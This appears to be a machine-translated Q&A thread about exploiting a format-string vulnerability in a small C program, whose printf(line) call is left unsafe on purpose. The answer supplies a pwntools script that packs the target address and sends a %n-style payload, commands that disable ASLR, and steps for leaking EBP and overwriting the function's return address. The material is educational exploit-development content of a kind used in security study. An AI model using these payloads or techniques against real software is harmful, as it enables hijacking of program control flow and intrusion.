2016-12-27 4 views
1

私はfgetsでstdinからループして読み込むプログラムを持っています。読み取りループ全体が関数内にあり、関数の戻りアドレスをprintf脆弱性で上書きしようとしています。戻りアドレスは0xbffff0fc(0x2a20029e)にあり、スタック上のバ​​ッファは入力AAAA(0x41414141)によって識別されます。Cフォーマット文字列の脆弱性、バッファ内のアドレス取得方法

0xbffff0b0: 0x0000000a 0x00000020 0xb7fc7c20 0xb7e4fd94 
0xbffff0c0: 0xb7fc73cc 0xbffff0dc 0x41414141 0x66740000 
0xbffff0d0: 0x785c2220 0x785c3439 0x785c3739 0x785c3430 
0xbffff0e0: 0x29223830 0xb7fc0000 0x5da95700 0x00000000 
0xbffff0f0: 0x00000000 0xb7fc7000 0x00000000 0x2a20029e 

だから、私の理解から、私は、バッファに0xbffff0fc記述する必要があり、その後、私は0xbffff0fcする任意の値を書き込むために(kは整数)%X%6 $ nを使用することができます。

したがって入力は< 0xbffff0fc>%x%6 $ nのようになります。私が持っている問題は、0xbffff0fcがスタックになるように、どのようにして< 0xbffff0fc>と書くのかです。 ASCII文字だけでは、私は本当にこれを行うことはできません。

編集:プログラム

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int function1() 
{ 
    char line[32]; 
    size_t size; 
    while(1) 
    { 
    if (!fgets(line, sizeof(line), stdin)) 
    { 
     return 0; 
    } 

    size = strlen(line); 
    line[size - 1] = '\0'; 
    printf(line); 
    printf("\n"); 
    } 
    return 0; 
} 

int main(int argc, char** argv) 
{ 
    function1(); 
    return 0; 
} 
+0

私はコードを追加しましたが、それは本当に質問に必要だとは思わなかった。 –

答えて

0

人々がここセキュリティの質問について尋ねる見て幸せを追加しました。 pwntoolsをご覧ください。

これは悪用を書くためのツールです。 ここには簡単なコードスニペットがあります。

#!/usr/bin/env python2 
from pwn import * 
# a.out is your executable file 
s = process('./a.out') 
payload = p32(0xbffff0fc)+"%7$p" 
# p32() is a function to pack your integer in little endian order 
s.sendline(payload) 
s.interactive() 

出力は、いくつかの印刷できない文字に加えてさらに説明するために0xbffff0fc

▒▒0xbffff0fc

なり、line変数はスタック上にすでにあります。 しかし、ASLR保護を無効にして、スタックアドレスを固定する必要があります。 それ以外の場合は、プログラムを実行するたびに。 回線変数のアドレスが異なります。

それを無効にします。それを有効にし

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

をしかし、私はあなたの問題はスタックする0xbffff0fcを書く方法だろうとは思いません。 可変アドレスlineASLRで有効にする方法が問題です。

ここに戦略があります。

  1. 、あなたはline変数のアドレスを計算することができ、スタックフレームのEBPをリーク。(この部分は重要です)

  2. 前のサンプルの同じことを行う活用します。

  3. 次に、%nを使用して関数のリターンアドレスを書き換えます。

質問がある場合は、お気軽にお問い合わせください。

+0

これは、素晴らしいツールと一緒に働いてくれてありがとう。 –

+0

問題ありません。兄。 – bananaappletw